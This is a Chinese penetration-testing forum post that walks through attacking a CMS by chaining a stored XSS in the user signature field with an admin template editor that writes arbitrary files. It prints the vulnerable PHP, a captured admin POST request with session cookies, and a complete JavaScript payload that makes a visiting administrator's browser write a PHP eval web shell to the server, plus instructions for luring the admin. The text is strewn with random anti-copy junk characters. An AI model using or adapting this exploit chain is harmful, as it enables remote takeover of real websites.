这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题& J8 R( J: P4 [3 Y" ?4 B& k6 M$ { 官网已经修补了,所以重新下了源码 因为 后台登入 还需要认证码 所以 注入就没看了。 存在 xss" W; a: k& ^* s6 K" e* Z 漏洞文件 user/member/skin_edit.php 本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名:5 p' x% r! e8 ?2 q6 p 6 R0 L' G9 J! P0 R5 j </span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?> </textarea></td></tr>, \3 G) F8 @/ f. E% O user/do.php if($op=='zl'){ //资料3 {9 A+ G* a1 N; W7 x0 N9 _$ W if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email)) exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);'));$ j; F4 P) v% m" x+ C0 h5 J : d( a0 h2 r2 v: u- [4 d $sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."',5 ]2 z5 _9 d! v5 ~! N& ` CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."' where CS_Name='".$cscms_name."'"; if($db->query($sql)){3 x0 @. h4 w+ W( ^: K" x5 _' _' L exit(Msg_Error('恭喜您,修改成功了!','javascript:history.go(-1);'));9 {8 k+ P4 a8 e1 ]. T }else{" K! X" g( L' }6 k5 s' M% J # T1 P% B8 J4 r1 ^# z exit(Msg_Error('抱歉,修改失败了!','javascript:history.go(-1);')); ) U( g3 J. k% m1 i1 ?+ t }# K1 B; n$ }# q, X/ i 5 n# P/ ~5 }# ] 3 ~5 T& U( T$ V e) f( e 没有 过滤导致xss产生。 后台 看了下 很奇葩的是可以写任意格式文件。。 抓包。。 / i5 Q. }. O& [; J' B; H' Y: y " B7 i: b* ?8 c2 k# I' Q& i 本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.11 H1 A2 R. Z1 c& i Accept: text/html, application/xhtml+xml, */* Referer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php+ x( {) t, P4 r4 [* R* ~' { , k3 }! K4 ?) @% H! p Accept-Language: zh-CN User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)9 W5 Y* p- q4 w$ f8 A2 q* H% p Content-Type: application/x-www-form-urlencoded7 D+ ~& a6 i6 ~ ' V$ t8 C; r$ u/ ? Accept-Encoding: gzip, deflate3 P7 W( K- W: Y2 ` Host: 127.0.0.1 ! ?: t) y# c" M8 g4 i0 }1 Z Content-Length: 38 4 K- k. [6 w+ Y) ] DNT: 1' V1 Y) R" C, f8 Q! j# C$ s' S Connection: Keep-Alive 7 s: w& M: U+ o; \ Cache-Control: no-cache- P3 j( g. U" a K 0 n3 j) }% s0 |3 w6 ^ Cookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f65594) F* R* p& x% O2 [6 Q' J3 N u2 }6 E F6 L4 L, M/ s9 F ( u6 z2 ~( ^& z/ U' K5 W# C1 X9 r name=aaa.php&content=%3Cs%3E%3Ca%25%3E+ R( b5 y) V1 _' U$ p0 V1 a9 D- A ; J& H, c N- J 于是 构造js如下。. }4 M4 b$ b+ K9 L7 X" I E* o 0 Y9 O: ` w" N7 x: u+ `- e. b 本帖隐藏的内容<script> thisTHost = top.location.hostname; thisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/";. c" o2 ?2 f' H$ S# v z* U; d! f function PostSubmit(url, data, msg) { var postUrl = url; " Z& r( B" z1 a4 i- c! n! G var postData = data; ) @1 c! b( S+ k var msgData = msg; 4 W4 N) D3 Y. Z4 ^ var ExportForm = document.createElement("FORM"); document.body.appendChild(ExportForm); ExportForm.method = "POST"; var newElement = document.createElement("input"); newElement.setAttribute("name", "name"); newElement.setAttribute("type", "hidden"); 4 [1 G* k3 ^! P( p' V1 K, K; g var newElement2 = document.createElement("input"); newElement2.setAttribute("name", "content"); newElement2.setAttribute("type", "hidden"); . _5 V: |" m, p9 E) o9 U& F ExportForm.appendChild(newElement); ExportForm.appendChild(newElement2); * O4 A ^; e' U) a( g( d$ u newElement.value = postData; % P4 q( O3 s% W. } f' q newElement2.value = msgData; 9 B' o: w$ m) f/ U) e; g4 l2 n ExportForm.action = postUrl; . ^& n! g+ L: R1 H K ExportForm.submit(); ( W8 m, G, {- n };7 p! k( F, E( L; r6 i3 W: U& i PostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>");: h/ J9 O$ Y& ^6 j5 h5 v </script> 1 f7 k. t* a1 H* P( m http://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入0 V& d6 G3 A. s# H 用你的账号给管理写个 私信 或者让他访问 你的主页http://127.0.0.1/home/?uid=2(uid自己改) 就会 在 skins\index\html\目录下生成 roker.php 一句话。 |
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) | Powered by Discuz! X3.2 |